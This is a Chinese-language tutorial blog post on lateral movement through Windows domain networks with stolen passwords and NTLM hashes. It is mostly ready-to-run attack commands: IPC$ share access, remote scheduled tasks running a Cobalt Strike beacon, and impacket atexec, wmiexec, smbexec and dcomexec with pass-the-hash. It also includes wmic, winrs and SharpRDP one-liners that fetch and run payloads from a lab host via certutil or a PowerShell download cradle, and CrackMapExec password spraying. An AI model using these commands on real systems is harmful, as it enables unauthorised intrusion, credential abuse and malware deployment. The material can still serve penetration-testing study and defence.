当前位置: 首页 > news >正文

基于口令凭据的横向移动:技术解析与实战

在内网渗透测试或真实攻击中,横向移动(Lateral Movement)是攻击者在获取了初始立足点后,扩展控制范围、寻找高价值目标(如域控制器、敏感数据服务器)的关键阶段。而口令凭据,无论是明文密码、哈希值还是Kerberos票据,往往是驱动这一过程最常见、最有效的“钥匙”。

本文将深入探讨攻击者如何利用获取到的口令凭据,结合多种技术和工具,在Windows域环境中进行横向移动。

看当前主机在域内还是域外

在尝试横向移动之前,首先需要明确当前控制的主机(当前主机)处于什么网络环境以及当前用户的权限级别

首先看自己是在域内还是本机主机用户

在域内

不在域内

不在域内而是administrator等的其他用户的权限的方式

提权到system,就可以使用域内的口令,和域取得通信(但是有的不行)

换成域内的用户上线(抓取明文密码)

通过cs

通过kerbrute(枚举出用户)

获取密码 (域内用户,或者system)

IPC域内横向移动

开启才可以

看网络探针,看有哪些地址存在

cs,端口扫描

net view如果扫描不出来可能是这个开了

IPC$利用命令:

net use \\server\ipc$ "password" /user:计算机名\username # 工作组(本地用户登陆)

域内用户权限测试:webadmin权限
net use \\192.168.3.32\ipc$ "admin!@#45" /user:sqlserver\administrator
net use \\192.168.3.32\ipc$ "admin!@#45" /user:god\dbadmin
net use \\192.168.3.32\ipc$ "admin!@#45" /user:administrator
理解为登录域里的administrator而不是登录目标的administrator用户域外用户权限测试:administrator权限
net use \\192.168.3.32\ipc$ "admin!@#45" /user:administrator 
//登录本机administrator用户
net use \\192.168.3.32\ipc$ "admin!@#45" /user:sqlserver\administrator  
//登录sqlserver机器的administrator用户
net use \\192.168.3.32\ipc$ "admin!@#45" /user:god\dbadmin
//登录god域的administrator用户

net use \\server\ipc$ "password" /user:域名\username #域内

dir \\xx.xx.xx.xx\C$\ # 查看文件列表

copy \\xx.xx.xx.xx\C$\1.bat 1.bat # 下载文件

copy 1.bat \\xx.xx.xx.xx\C$ # 复制文件

net use \\xx.xx.xx.xx\C$\1.bat /del # 删除IPC

net view xx.xx.xx.xx # 查看对方共享

首先登陆

查看是否成功

生成后门到主机一

然后复制到内网主机2的c盘,然后尝试执行

[at] & [schtasks]计划任务配合

1、at < Windows2012

copy beacon.exe \\192.168.3.21\c$ #拷贝执行文件到目标机器

at \\192.168.3.21 15:47 c:\beacon.exe #添加计划任务

15:47是时间

2、schtasks >=Windows2012

copy beacon.exe \\192.168.3.32\c$ #拷贝执行文件到目标机器

schtasks /create /s 192.168.3.32 /ru "SYSTEM" /tn beacon /sc DAILY /tr c:\beacon.exe /F #创beacon任务对应执行文件

schtasks /run /s 192.168.3.32 /tn beacon /i #运行beacon任务

schtasks /delete /s 192.168.3.32 /tn beacon /f#删除beacon任务

然后执行这个(创建计划任务)

运行任务

获得域控后

工具版

impact cs插件

impact套件(可以hash登陆)

https://github.com/fortra/impacket

首先建立sockets的节点

然后

执行ver指令

python atexec.py god/administrator:Admin12345@192.168.3.21 "ver"

python atexec.py -hashes :ccef208c6485269c20db2cad21734fe7 ./administrator@192.168.3.21 "whoami"

上线方法(未解决)

1.下载后门(通过ftp)

2.用powershell无文件上线

其他工具

yyds!分享几个大佬的内网横向工具

wmi(不会留下痕迹)

wmic(内置,无回显)

攻击前提

首先查看有哪些服务

发现有80端口开启

shell net start

发现iis服务,找到目录文件

考虑是用正向连接还是反向连接

尝试ping

如果ping没问题就是防火墙没开,就可以正向

用棱角生成下载地址

shell wmic /node:192.168.3.32 /user:sqlserver\administrator /password:admin!@#45 process call create "certutil -urlcache -split -f http://192.168.3.31/beacon.exe c:/beacon.exe"

Wmiexec-impacket(支持hash,且有回显)

python wmiexec.py sqlserver/administrator:admin!@#45@192.168.3.32

(交互式)

python wmiexec.py sqlserver/administrator:admin!@#45@192.168.3.32 "certutil -urlcache -split -f http://192.168.3.31/beacon.exe c:/beacon.exe"

下载后门,然后执行

hash连接

python wmiexec.py -hashes :518b98ad4178a53695dc997aa02d455c sqlserver/administrator@192.168.3.32 "whoami"

cs插件(不建议)

SMB

psexec(微软内置)

内部:(交互式 windows官方工具)

PsTools - Sysinternals | Microsoft Learn

psexec \\192.168.3.32 -u administrator -p admin!@#45 -s cmd

就成功拿到他的shell(但是它只能在windows本机有交互,在cs上没有交互

smbexec-impacket

外部:(交互式)

python smbexec.py sqlserver/administrator:admin!@#45@192.168.3.32

python smbexec.py -hashes :518b98ad4178a53695dc997aa02d455c sqlserver/administrator@192.168.3.32

cs自带的插件

一般用前面两种

DCOM(条件苛刻)

win7之后才有powershell

python dcomexec.py sqlserver/administrator:admin!@#45@192.168.3.32

交互式

python dcomexec.py sqlserver/administrator:admin!@#45@192.168.3.32 whoami

执行命令、

python dcomexec.py sqlserver/administrator:@192.168.3.32 whoami -hashes :518b98ad4178a53695dc997aa02d455c

WinrRM&WinRS

扫不到有可能是没有开启服务,也有 可能是开了防火墙

winrs -r:192.168.3.32 -u:192.168.3.32\administrator -p:admin!@#45 whoami

3.上线C2:
winrs -r:192.168.3.32 -u:192.168.3.32\administrator -p:admin!@#45 "cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/4444.exe 4444.exe & 4444.exe"

但是在cs上不行

其他解决:通过winrm.cmd来进行命令执行

shell winrm invoke Create wmicimv2/win32_process @{CommandLine="cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/4444.exe 4444.exe & 4444.exe"} -r:sqlserver -u:sqlserver\administrator -p:admin!@#45

cs巧用

RDP上线

建立sockes代理

就通讯上了

建立端口转发映射(不是很懂)

http隧道转发

rdp hash连接很难

SharpRDP(明文连接)比较鸡肋


https://github.com/0xthirteen/SharpRDP
是一款可以不借助远程桌面GUI的情况下,通过RDP协议进行命令执行的程序。
SharpRDP.exe computername=192.168.3.32 command="powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.3.31:83/a'))"" username=Administrator password=admin!@#45

CrackMapExec-密码喷射

kali建立代理

Github:https://github.com/Porchetta-Industries/CrackMapExec

官方手册:https://www.crackmapexec.wiki/

使用案例:域渗透之CrackMapExec - Yangsir34 - 博客园

2、密码喷射-域用户登录PTH:

主要参数:-u用户,-p密码,-H哈希值,-d指定域,-x执行命令

主要功能:多协议探针,字典设置,本地及域喷射,命令回显执行等

proxychains4 crackmapexec smb 192.168.3.21-32 -u user.txt -H 518b98ad4178a53695dc997aa02d455c #域用户HASH登录

proxychains4 crackmapexec smb 192.168.3.21-32 -u administrator -p 'admin!@#45' --local-auth #本地用户明文登录

proxychains4 crackmapexec smb 192.168.3.21-32 -u administrator -p 'admin!@#45' --local-auth -x "whoami" #本地用户明文登录并执行命令

proxychains4 crackmapexec smb 192.168.3.21-32 -u administrator -H 518b98ad4178a53695dc997aa02d455c --local-auth #本地用户HASH登录

proxychains4 crackmapexec smb 192.168.3.21-32 -u user.txt -H 518b98ad4178a53695dc997aa02d455c --local-auth -x "cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/4444.exe 4444.exe & 4444.exe"

proxychains4 crackmapexec smb 192.168.3.21-32 -u administrator -p pass.txt --local-auth -x "cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/4444.exe 4444.exe & 4444.exe"

proxychains4 crackmapexec smb 192.168.3.21-32 -u user.txt -H 518b98ad4178a53695dc997aa02d455c --local-auth --users

基于口令凭据的横向移动是内网渗透中最核心也是最有效的手段之一。攻击者利用各种技术和工具,结合窃取到的凭据,通过SMB(IPC$, SCM/PsExec)、WMI、DCOM、WinRM、RDP等多种协议和服务,在目标网络中层层推进。理解这些技术的原理、前提和使用方法,对于渗透测试人员扩展战果至关重要,同时也为防守方提供了明确的防御方向(如加强凭据管理、最小权限原则、及时打补丁、加强日志监控和行为分析等)。

相关文章:

  • 轻量级离线版二维码工具的技术分析与开发指南
  • 初识 Redis
  • 力扣每日一题5-18
  • Cursor 模型深度分析:区别、优缺点及适用场景
  • 电子电路:什么是偏置电路?
  • Baklib知识中台架构设计与智能服务实践
  • wpf DataGrid 行选择事件
  • Redis 学习笔记 5:分布式锁
  • vulfocus漏洞学习——redis 未授权访问 (CNVD-2015-07557)
  • RabbitMQ-高级
  • 信息化的编程未来发展
  • 数据结构实验10.1:内部排序的基本运算
  • 算法-数对的使用
  • 【数据结构篇】排序1(插入排序与选择排序)
  • Vue百日学习计划Day33-35天详细计划-Gemini版
  • java中如何优雅处理多租户系统的查询?
  • 嵌入式学习的第二十三天-数据结构-树+哈希表+内核链表
  • Linux项目部署全攻略:从环境搭建到前后端部署实战
  • Python实现的在线词典学习工具
  • Axure设计数字乡村可视化大屏:构建乡村数据全景图
  • 搜狐一季度营收1.36亿美元,净亏损同比收窄超两成
  • 上海肺科医院院长陈昶:临床中的痛点,正是新技术诞生的起点
  • 纽约市长称墨海军帆船撞桥已致2人死亡,撞桥前船只疑似失去动力
  • 词条数量大幅扩充,《辞海》第八版启动编纂
  • 李伟任山东省委常委、省纪委书记
  • 混乱的5天:俄乌和谈如何从充满希望走向“卡壳”